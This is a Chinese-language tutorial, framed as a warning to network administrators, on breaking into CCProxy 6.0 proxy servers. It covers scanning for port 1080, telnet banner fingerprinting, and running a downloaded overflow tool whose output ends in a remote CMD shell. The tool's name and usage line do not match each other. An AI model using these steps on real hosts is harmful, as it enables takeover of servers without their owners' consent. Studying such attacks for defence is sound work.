Proxy 伺服器為大家解決了很多問題,比如阻擋駭客攻擊和區域網路共用上網等。本文我們要討論一個出在Proxy 伺服器上的漏洞,希望各位網管能夠給予一定的關注。為了揭示這個隱藏的“陰謀”,讓我們清楚知道自己的Proxy 伺服器是否存在這一漏洞,下面將類比駭客對這個漏洞的攻擊行為,以便大家採取相應的安全措施。
一、代理軟體漏洞
CCProxy因其設定簡單和使用方便等特點,成為國內最受歡迎的Proxy 伺服器軟體。它不但支援常見的HTTP和SOCKS代理,而且還支援FTP和Telnet這類不常用的代理。它還可以控制使用者代理程式上網的許可權,設定訪問Proxy 伺服器的使用者名稱和密碼,功能非常強大。
這款優秀的代理軟體最近爆出一個溢出漏洞,攻擊者可以通過該漏洞直接獲得Proxy 伺服器的控制權。該漏洞涉及的CCProxy版本為目前非常普及的6.0版,以及這之前的所有版本。
軟體資料
軟體名稱:CCProxy
軟體版本:6.0
授權方式:共用軟體
軟體大小:820KB
:http://www2.skycn.com/soft/1058.html
二、探測CCProxyProxy 伺服器
要利用上述漏洞控制Proxy 伺服器,當然得先確定目標Proxy 伺服器是否安裝的是CCProxy (圖1)。
圖1CCProxy支援多種協議代理
因為所有Proxy 伺服器軟體的SOCKS代理服務連接埠預設都是“1080”,所以我們可以通過它來尋找Proxy 伺服器,進而確認伺服器是否安裝CCProxy。經過測試,發現如下探測方法比較實用可靠。
1.掃描
利用連接埠掃描器Superscan掃描指定網段中是否有開放了“1080”連接埠的主機。開啟Superscan,先在“all ports from”一欄中設定掃描的連接埠範圍為“1080~1080”,再在目標IP範圍內填寫需要掃描的IP位址區段。單擊“Start”按鈕進行掃描,很快就會發現掃描的IP位址區段中所有開放了“1080”連接埠的主機(圖2)。下面挑選一台主機來確認一下它是否安裝了CCProxy的Proxy 伺服器。
圖2開放指定連接埠的主機都以綠色小鉤標記
2.探測
CCProxy在預設安裝情況下,會將“23”作為Telnet服務的代理連接埠,“2121”做為FTP服務的代理連接埠。我們只需要在這些連接埠上進行資訊探測,就可以發現目標主機是不是CCProxyProxy 伺服器。
開啟CMD命令列視窗,用Telnet串連目標主機,其命令格式為:
Telnet 目標IP 連接埠(如“Telnet 127.0.0.1 23”)
如果目標Proxy 伺服器是處於CCProxy的免密碼狀態(即未曾設定代理使用者名稱和密碼),那麼就會出現Banner資訊“CCProxy telnet server ready”;如果目標Proxy 伺服器是處於CCProxy的密碼狀態(即設定過代理使用者名稱和密碼),那麼就會提示輸入使用者名稱(隨便輸入幾個字元後會出現錯誤提示“User Invalid”)。這些資訊都是CCProxy代理軟體特有的提示資訊,這樣就可以很容易地確定目標Proxy 伺服器是否安裝了CCProxy(圖3)。
圖3CCProxy的兩種運行模式
三、攻擊CCProxyProxy 伺服器
利用上述方法確認目標為安裝了CCProxy的Proxy 伺服器,那麼下面就開始利用CCProxy的溢出攻擊工具進行溢出。從網上下載回來的CCProxy的溢出攻擊工具叫“ccpx.exe”。在CMD命令列中開啟它,可以看到協助命令:
Usage: ccproxyexp.exe [target_port]
這其中“target_ip”是指目標主機的IP地址,“target_port”是CCProxy的主連接埠,預設情況下是“808”。
根據參數輸入攻擊命令後提示:
本主機IP是否與目標主機IP在同一個網段?[y/n]y
[+] connecting to 127.0.0.1:808
[+] send magic buffer...
[+] connecting to CMD shell port...
Microsoft Windows 2000 [Version 5.00.2195]
(C) 著作權 1985-2000 Microsoft Corp.
C:\winnt\system32
現在溢出成功,獲得此Proxy 伺服器的控制權(圖4)。
圖4溢出成功拿到伺服器控制權